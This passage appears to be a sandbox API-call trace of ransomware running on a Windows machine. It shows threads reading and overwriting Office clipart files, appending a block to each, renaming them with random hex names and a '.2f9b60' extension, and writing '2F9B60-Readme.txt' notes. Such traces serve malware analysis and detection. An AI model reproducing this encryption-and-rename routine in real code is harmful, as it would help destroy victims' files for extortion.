0x3a0f5e52 [0096.158] RtlRandomEx (in: Seed=0x2a5bfb30 | out: Seed=0x2a5bfb30) returned 0x1fd2e6f [0096.158] RtlRandomEx (in: Seed=0x2a5bfb30 | out: Seed=0x2a5bfb30) returned 0x1225e801 [0096.158] RtlRandomEx (in: Seed=0x2a5bfb30 | out: Seed=0x2a5bfb30) returned 0x554c57ce [0096.159] RtlRandomEx (in: Seed=0x2a5bfb30 | out: Seed=0x2a5bfb30) returned 0x6d09fb1b [0096.159] RtlRandomEx (in: Seed=0x2a5bfb30 | out: Seed=0x2a5bfb30) returned 0x1c026499 [0096.159] RtlRandomEx (in: Seed=0x2a5bfb30 | out: Seed=0x2a5bfb30) returned 0x749f258b [0096.159] RtlRandomEx (in: Seed=0x2a5bfb30 | out: Seed=0x2a5bfb30) returned 0x1a273694 [0096.159] RtlRandomEx (in: Seed=0x2a5bfb30 | out: Seed=0x2a5bfb30) returned 0x4acd4d75 [0096.159] RtlRandomEx (in: Seed=0x2a5bfb30 | out: Seed=0x2a5bfb30) returned 0xb7a481a [0096.159] RtlRandomEx (in: Seed=0x2a5bfb30 | out: Seed=0x2a5bfb30) returned 0x46577799 [0096.159] RtlRandomEx (in: Seed=0x2a5bfb30 | out: Seed=0x2a5bfb30) returned 0x5292228a [0096.159] RtlRandomEx (in: Seed=0x2a5bfb30 | out: Seed=0x2a5bfb30) returned 0x1f6df326 [0096.159] RtlRandomEx (in: Seed=0x2a5bfb30 | out: Seed=0x2a5bfb30) returned 0x2339dae3 [0096.159] RtlRandomEx (in: Seed=0x2a5bfb30 | out: Seed=0x2a5bfb30) returned 0x10ad3bf8 [0096.172] ReadFile (in: hFile=0xeac, lpBuffer=0x201c4990, nNumberOfBytesToRead=0x47a, lpNumberOfBytesRead=0x2a5bfb30, lpOverlapped=0x0 | out: lpBuffer=0x201c4990*, lpNumberOfBytesRead=0x2a5bfb30*=0x47a, lpOverlapped=0x0) returned 1 [0096.172] SetFilePointerEx (in: hFile=0xeac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.172] WriteFile (in: hFile=0xeac, lpBuffer=0x201b9560*, nNumberOfBytesToWrite=0x47a, lpNumberOfBytesWritten=0x2a5bfb34, lpOverlapped=0x0 | out: lpBuffer=0x201b9560*, lpNumberOfBytesWritten=0x2a5bfb34*=0x47a, lpOverlapped=0x0) returned 1 [0096.246] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85ffd0 [0096.246] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f5e0 [0096.246] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f5e0) returned 1 [0096.246] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201b9560) returned 1 [0096.246] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201c4990) returned 1 [0096.246] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79db70) returned 1 [0096.246] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c8f0) returned 1 [0096.246] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1b85f5e0 [0096.246] SetFilePointerEx (in: hFile=0xeac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0096.247] WriteFile (in: hFile=0xeac, lpBuffer=0x167160*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x2a5bfc50, lpOverlapped=0x0 | out: lpBuffer=0x167160*, lpNumberOfBytesWritten=0x2a5bfc50*=0x10a, lpOverlapped=0x0) returned 1 [0096.299] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c8a0 [0096.299] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e470 [0096.299] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fdf0 [0096.299] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85fdf0) returned 1 [0096.299] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d000 [0096.299] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fdf0 [0096.299] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fb20 [0096.299] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85fb20) returned 1 [0096.299] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e470) returned 1 [0096.299] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c8a0) returned 1 [0096.300] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cd9ee70 [0096.300] sprintf (in: _Dest=0x1cd9ee70, _Format="%c%c" | out: _Dest="40") returned 2 [0096.300] sprintf (in: _Dest=0x1cd9ee72, _Format="%c%c" | out: _Dest="5e") returned 2 [0096.300] sprintf (in: _Dest=0x1cd9ee74, _Format="%c%c" | out: _Dest="8f") returned 2 [0096.300] sprintf (in: _Dest=0x1cd9ee76, _Format="%c%c" | out: _Dest="69") returned 2 [0096.300] sprintf (in: _Dest=0x1cd9ee78, _Format="%c%c" | out: _Dest="68") returned 2 [0096.300] sprintf (in: _Dest=0x1cd9ee7a, _Format="%c%c" | out: _Dest="90") returned 2 [0096.300] sprintf (in: _Dest=0x1cd9ee7c, _Format="%c%c" | out: _Dest="66") returned 2 [0096.300] sprintf (in: _Dest=0x1cd9ee7e, _Format="%c%c" | out: _Dest="d2") returned 2 [0096.300] sprintf (in: _Dest=0x1cd9ee80, _Format="%c%c" | out: _Dest="90") returned 2 [0096.300] sprintf (in: _Dest=0x1cd9ee82, _Format="%c%c" | out: _Dest="2a") returned 2 [0096.300] sprintf (in: _Dest=0x1cd9ee84, _Format="%c%c" | out: _Dest="91") returned 2 [0096.300] sprintf (in: _Dest=0x1cd9ee86, _Format="%c%c" | out: _Dest="d2") returned 2 [0096.300] sprintf (in: _Dest=0x1cd9ee88, _Format="%c%c" | out: _Dest="e8") returned 2 [0096.300] sprintf (in: _Dest=0x1cd9ee8a, _Format="%c%c" | out: _Dest="16") returned 2 [0096.300] sprintf (in: _Dest=0x1cd9ee8c, _Format="%c%c" | out: _Dest="81") returned 2 [0096.300] sprintf (in: _Dest=0x1cd9ee8e, _Format="%c%c" | out: _Dest="39") returned 2 [0096.301] sprintf (in: _Dest=0x1cd9ee90, _Format="%c%c" | out: _Dest="8a") returned 2 [0096.301] sprintf (in: _Dest=0x1cd9ee92, _Format="%c%c" | out: _Dest="20") returned 2 [0096.301] sprintf (in: _Dest=0x1cd9ee94, _Format="%c%c" | out: _Dest="d6") returned 2 [0096.301] sprintf (in: _Dest=0x1cd9ee96, _Format="%c%c" | out: _Dest="ad") returned 2 [0096.301] sprintf (in: _Dest=0x1cd9ee98, _Format="%c%c" | out: _Dest="7d") returned 2 [0096.301] sprintf (in: _Dest=0x1cd9ee9a, _Format="%c%c" | out: _Dest="4e") returned 2 [0096.301] sprintf (in: _Dest=0x1cd9ee9c, _Format="%c%c" | out: _Dest="29") returned 2 [0096.301] sprintf (in: _Dest=0x1cd9ee9e, _Format="%c%c" | out: _Dest="05") returned 2 [0096.301] RtlInitAnsiString (in: DestinationString=0x2a5bfcc8, SourceString="405e8f69689066d2902a91d2e81681398a20d6ad7d4e2905" | out: DestinationString="405e8f69689066d2902a91d2e81681398a20d6ad7d4e2905") [0096.301] RtlAnsiStringToUnicodeString (in: DestinationString=0x2a5bfc98, SourceString="405e8f69689066d2902a91d2e81681398a20d6ad7d4e2905", AllocateDestinationString=1 | out: DestinationString="405e8f69689066d2902a91d2e81681398a20d6ad7d4e2905") returned 0x0 [0096.301] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1b863ce0 [0096.301] wcscat (in: _Dest=0x1b7ae1a0, _Source="405e8f696890" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\405e8f696890") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\405e8f696890" [0096.301] wcscat (in: _Dest=0x1b7ae1a0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\405e8f696890.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\405e8f696890.2f9b60" [0096.301] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\405e8f696890.2f9b60", NtPathName=0x2a5bfc70, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\405e8f696890.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0096.301] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x202780b0 [0109.563] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202780b0) returned 1 [0109.563] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf49a80) returned 1 [0109.563] NtQueryInformationFile (in: FileHandle=0xeac, IoStatusBlock=0x2a5bfcd8, FileInformation=0x2a5bfce8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2a5bfcd8, FileInformation=0x2a5bfce8) returned 0x0 [0109.563] NtSetInformationFile (FileHandle=0xeac, IoStatusBlock=0x2a5bfcd8, FileInformation=0x2a5bfce8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0109.567] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ae1a0) returned 1 [0109.567] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b863ce0) returned 1 [0109.567] FlushFileBuffers (hFile=0xeac) returned 1 [0109.571] CloseHandle (hObject=0xeac) returned 1 [0109.573] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x1b7ae380 [0109.573] wcscpy (in: _Dest=0x1b7ae380, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0109.573] wcscat (in: _Dest=0x1b7ae380, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" [0109.573] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\2f9b60-readme.txt")) returned 0x20 [0109.573] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ae380) returned 1 [0109.573] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85d2f0) returned 1 Thread: id = 657 os_tid = 0x1128 [0095.847] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00161_.gif")) returned 0x20 [0096.057] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF", dwFileAttributes=0x20) returned 1 [0096.077] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00161_.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xea8 [0096.077] GetFileSizeEx (in: hFile=0xea8, lpFileSize=0x2a53fcc0 | out: lpFileSize=0x2a53fcc0*=7583) returned 1 [0096.077] SetFilePointerEx (in: hFile=0xea8, liDistanceToMove=0x1d9b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.077] ReadFile (in: hFile=0xea8, lpBuffer=0x2a53fc40, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2a53fc88, lpOverlapped=0x0 | out: lpBuffer=0x2a53fc40*, lpNumberOfBytesRead=0x2a53fc88*=0x4, lpOverlapped=0x0) returned 1 [0096.145] SetFilePointerEx (in: hFile=0xea8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.145] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860720 [0096.146] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f700 [0096.146] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fbb0 [0096.146] NtQuerySystemTime (in: CurrentTime=0x2a53fb80 | out: CurrentTime=0x2a53fb80*=132462177019846000) returned 0x0 [0096.146] RtlRandomEx (in: Seed=0x2a53fb70 | out: Seed=0x2a53fb70) returned 0xc57d2b6 [0096.146] RtlRandomEx (in: Seed=0x2a53fb70 | out: Seed=0x2a53fb70) returned 0x1aa6e0c [0096.146] RtlRandomEx (in: Seed=0x2a53fb70 | out: Seed=0x2a53fb70) returned 0x438579a [0096.146] RtlRandomEx (in: Seed=0x2a53fb70 | out: Seed=0x2a53fb70) returned 0x285f818f [0096.146] RtlRandomEx (in: Seed=0x2a53fb70 | out: Seed=0x2a53fb70) returned 0x2948e3b0 [0096.146] RtlRandomEx (in: Seed=0x2a53fb70 | out: Seed=0x2a53fb70) returned 0x3beaddf2 [0096.146] RtlRandomEx (in: Seed=0x2a53fb70 | out: Seed=0x2a53fb70) returned 0x3f2d56a7 [0096.146] RtlRandomEx (in: Seed=0x2a53fb70 | out: Seed=0x2a53fb70) returned 0x51e2f1a6 [0096.146] RtlRandomEx (in: Seed=0x2a53fb70 | out: Seed=0x2a53fb70) returned 0x37ef6ee2 [0096.146] RtlRandomEx (in: Seed=0x2a53fb70 | out: Seed=0x2a53fb70) returned 0x308e7302 [0096.146] RtlRandomEx (in: Seed=0x2a53fb70 | out: Seed=0x2a53fb70) returned 0x4c378bba [0096.146] RtlRandomEx (in: Seed=0x2a53fb70 | out: Seed=0x2a53fb70) returned 0x78fe35dd [0096.146] RtlRandomEx (in: Seed=0x2a53fb70 | out: Seed=0x2a53fb70) returned 0x116bf74d [0096.146] RtlRandomEx (in: Seed=0x2a53fb70 | out: Seed=0x2a53fb70) returned 0x3ce7b391 [0096.146] RtlRandomEx (in: Seed=0x2a53fb70 | out: Seed=0x2a53fb70) returned 0x69811fb2 [0096.146] RtlRandomEx (in: Seed=0x2a53fb70 | out: Seed=0x2a53fb70) returned 0x711a6e25 [0096.146] RtlRandomEx (in: Seed=0x2a53fb70 | out: Seed=0x2a53fb70) returned 0x3ad98d72 [0096.146] RtlRandomEx (in: Seed=0x2a53fb70 | out: Seed=0x2a53fb70) returned 0x64aa19a2 [0096.146] RtlRandomEx (in: Seed=0x2a53fb70 | out: Seed=0x2a53fb70) returned 0x573cd1a [0096.146] RtlRandomEx (in: Seed=0x2a53fb70 | out: Seed=0x2a53fb70) returned 0x1ddb93ef [0096.146] RtlRandomEx (in: Seed=0x2a53fb70 | out: Seed=0x2a53fb70) returned 0x5bd99c08 [0096.146] RtlRandomEx (in: Seed=0x2a53fb70 | out: Seed=0x2a53fb70) returned 0x5967daca [0096.146] RtlRandomEx (in: Seed=0x2a53fb70 | out: Seed=0x2a53fb70) returned 0xf3bb75 [0096.146] RtlRandomEx (in: Seed=0x2a53fb70 | out: Seed=0x2a53fb70) returned 0x322de259 [0096.147] RtlRandomEx (in: Seed=0x2a53fb70 | out: Seed=0x2a53fb70) returned 0x49cdc07c [0096.147] RtlRandomEx (in: Seed=0x2a53fb70 | out: Seed=0x2a53fb70) returned 0x40dad439 [0096.147] RtlRandomEx (in: Seed=0x2a53fb70 | out: Seed=0x2a53fb70) returned 0x2c197b38 [0096.147] RtlRandomEx (in: Seed=0x2a53fb70 | out: Seed=0x2a53fb70) returned 0x28bd0ea6 [0096.147] RtlRandomEx (in: Seed=0x2a53fb70 | out: Seed=0x2a53fb70) returned 0x22b4f812 [0096.147] RtlRandomEx (in: Seed=0x2a53fb70 | out: Seed=0x2a53fb70) returned 0xe4f81fc [0096.147] RtlRandomEx (in: Seed=0x2a53fb70 | out: Seed=0x2a53fb70) returned 0x4dbd9603 [0096.147] RtlRandomEx (in: Seed=0x2a53fb70 | out: Seed=0x2a53fb70) returned 0x64525b1 [0096.156] ReadFile (in: hFile=0xea8, lpBuffer=0x2019b4e0, nNumberOfBytesToRead=0x1d9f, lpNumberOfBytesRead=0x2a53fb70, lpOverlapped=0x0 | out: lpBuffer=0x2019b4e0*, lpNumberOfBytesRead=0x2a53fb70*=0x1d9f, lpOverlapped=0x0) returned 1 [0096.242] SetFilePointerEx (in: hFile=0xea8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.242] WriteFile (in: hFile=0xea8, lpBuffer=0x201900b0*, nNumberOfBytesToWrite=0x1d9f, lpNumberOfBytesWritten=0x2a53fb74, lpOverlapped=0x0 | out: lpBuffer=0x201900b0*, lpNumberOfBytesWritten=0x2a53fb74*=0x1d9f, lpOverlapped=0x0) returned 1 [0096.283] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8250 [0096.283] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced74d0 [0096.283] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced74d0) returned 1 [0096.283] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201900b0) returned 1 [0096.283] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2019b4e0) returned 1 [0096.283] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79dbf0) returned 1 [0096.283] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c6c0) returned 1 [0096.283] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1ced74d0 [0096.283] SetFilePointerEx (in: hFile=0xea8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0096.283] WriteFile (in: hFile=0xea8, lpBuffer=0x167280*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x2a53fc90, lpOverlapped=0x0 | out: lpBuffer=0x167280*, lpNumberOfBytesWritten=0x2a53fc90*=0x10a, lpOverlapped=0x0) returned 1 [0096.291] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c8a0 [0096.291] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e470 [0096.291] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7920 [0096.291] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7920) returned 1 [0096.291] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d000 [0096.292] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7920 [0096.292] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8070 [0096.292] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8070) returned 1 [0096.292] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e470) returned 1 [0096.292] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c8a0) returned 1 [0096.292] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cd9ee70 [0096.292] sprintf (in: _Dest=0x1cd9ee70, _Format="%c%c" | out: _Dest="c7") returned 2 [0096.292] sprintf (in: _Dest=0x1cd9ee72, _Format="%c%c" | out: _Dest="b6") returned 2 [0096.292] sprintf (in: _Dest=0x1cd9ee74, _Format="%c%c" | out: _Dest="d7") returned 2 [0096.292] sprintf (in: _Dest=0x1cd9ee76, _Format="%c%c" | out: _Dest="be") returned 2 [0096.292] sprintf (in: _Dest=0x1cd9ee78, _Format="%c%c" | out: _Dest="a8") returned 2 [0096.292] sprintf (in: _Dest=0x1cd9ee7a, _Format="%c%c" | out: _Dest="14") returned 2 [0096.292] sprintf (in: _Dest=0x1cd9ee7c, _Format="%c%c" | out: _Dest="23") returned 2 [0096.292] sprintf (in: _Dest=0x1cd9ee7e, _Format="%c%c" | out: _Dest="e3") returned 2 [0096.292] sprintf (in: _Dest=0x1cd9ee80, _Format="%c%c" | out: _Dest="f9") returned 2 [0096.292] sprintf (in: _Dest=0x1cd9ee82, _Format="%c%c" | out: _Dest="f6") returned 2 [0096.293] sprintf (in: _Dest=0x1cd9ee84, _Format="%c%c" | out: _Dest="30") returned 2 [0096.293] sprintf (in: _Dest=0x1cd9ee86, _Format="%c%c" | out: _Dest="4e") returned 2 [0096.293] sprintf (in: _Dest=0x1cd9ee88, _Format="%c%c" | out: _Dest="0b") returned 2 [0096.293] sprintf (in: _Dest=0x1cd9ee8a, _Format="%c%c" | out: _Dest="50") returned 2 [0096.293] sprintf (in: _Dest=0x1cd9ee8c, _Format="%c%c" | out: _Dest="22") returned 2 [0096.293] sprintf (in: _Dest=0x1cd9ee8e, _Format="%c%c" | out: _Dest="ca") returned 2 [0096.293] sprintf (in: _Dest=0x1cd9ee90, _Format="%c%c" | out: _Dest="33") returned 2 [0096.293] sprintf (in: _Dest=0x1cd9ee92, _Format="%c%c" | out: _Dest="9f") returned 2 [0096.293] sprintf (in: _Dest=0x1cd9ee94, _Format="%c%c" | out: _Dest="f8") returned 2 [0096.293] sprintf (in: _Dest=0x1cd9ee96, _Format="%c%c" | out: _Dest="7f") returned 2 [0096.293] sprintf (in: _Dest=0x1cd9ee98, _Format="%c%c" | out: _Dest="37") returned 2 [0096.293] sprintf (in: _Dest=0x1cd9ee9a, _Format="%c%c" | out: _Dest="9e") returned 2 [0096.293] sprintf (in: _Dest=0x1cd9ee9c, _Format="%c%c" | out: _Dest="81") returned 2 [0096.293] sprintf (in: _Dest=0x1cd9ee9e, _Format="%c%c" | out: _Dest="3f") returned 2 [0096.293] RtlInitAnsiString (in: DestinationString=0x2a53fd08, SourceString="c7b6d7bea81423e3f9f6304e0b5022ca339ff87f379e813f" | out: DestinationString="c7b6d7bea81423e3f9f6304e0b5022ca339ff87f379e813f") [0096.293] RtlAnsiStringToUnicodeString (in: DestinationString=0x2a53fcd8, SourceString="c7b6d7bea81423e3f9f6304e0b5022ca339ff87f379e813f", AllocateDestinationString=1 | out: DestinationString="c7b6d7bea81423e3f9f6304e0b5022ca339ff87f379e813f") returned 0x0 [0096.293] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1b863c00 [0096.293] wcscat (in: _Dest=0x1b7adc00, _Source="c7b6d7bea814" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\c7b6d7bea814") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\c7b6d7bea814" [0096.293] wcscat (in: _Dest=0x1b7adc00, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\c7b6d7bea814.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\c7b6d7bea814.2f9b60" [0096.294] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\c7b6d7bea814.2f9b60", NtPathName=0x2a53fcb0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\c7b6d7bea814.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0096.294] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x108140 [0096.496] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x108140) returned 1 [0096.496] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf493f0) returned 1 [0096.496] NtQueryInformationFile (in: FileHandle=0xea8, IoStatusBlock=0x2a53fd18, FileInformation=0x2a53fd28, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2a53fd18, FileInformation=0x2a53fd28) returned 0x0 [0096.496] NtSetInformationFile (FileHandle=0xea8, IoStatusBlock=0x2a53fd18, FileInformation=0x2a53fd28, Length=0x28, FileInformationClass=0x4) returned 0x0 [0096.497] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7adc00) returned 1 [0096.497] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b863c00) returned 1 [0096.497] FlushFileBuffers (hFile=0xea8) returned 1 [0097.042] CloseHandle (hObject=0xea8) returned 1 [0100.471] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x202b0970 [0100.472] wcscpy (in: _Dest=0x202b0970, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0100.472] wcscat (in: _Dest=0x202b0970, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" [0100.472] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\2f9b60-readme.txt")) returned 0xffffffff [0100.651] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\2f9b60-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xed4 [0109.452] WriteFile (in: hFile=0xed4, lpBuffer=0x1b82f9a0*, nNumberOfBytesToWrite=0xba9, lpNumberOfBytesWritten=0x2a53fbd0, lpOverlapped=0x0 | out: lpBuffer=0x1b82f9a0*, lpNumberOfBytesWritten=0x2a53fbd0*=0xba9, lpOverlapped=0x0) returned 1 [0109.454] CloseHandle (hObject=0xed4) returned 1 [0109.454] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202b0970) returned 1 [0109.454] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85d380) returned 1 Thread: id = 658 os_tid = 0x112c [0095.849] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00163_.gif")) returned 0x20 [0096.057] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF", dwFileAttributes=0x20) returned 1 [0096.075] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00163_.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xea4 [0096.075] GetFileSizeEx (in: hFile=0xea4, lpFileSize=0x2a38fa40 | out: lpFileSize=0x2a38fa40*=6984) returned 1 [0096.075] SetFilePointerEx (in: hFile=0xea4, liDistanceToMove=0x1b44, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.075] ReadFile (in: hFile=0xea4, lpBuffer=0x2a38f9c0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2a38fa08, lpOverlapped=0x0 | out: lpBuffer=0x2a38f9c0*, lpNumberOfBytesRead=0x2a38fa08*=0x4, lpOverlapped=0x0) returned 1 [0096.129] SetFilePointerEx (in: hFile=0xea4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.129] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860720 [0096.129] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f9a0 [0096.129] 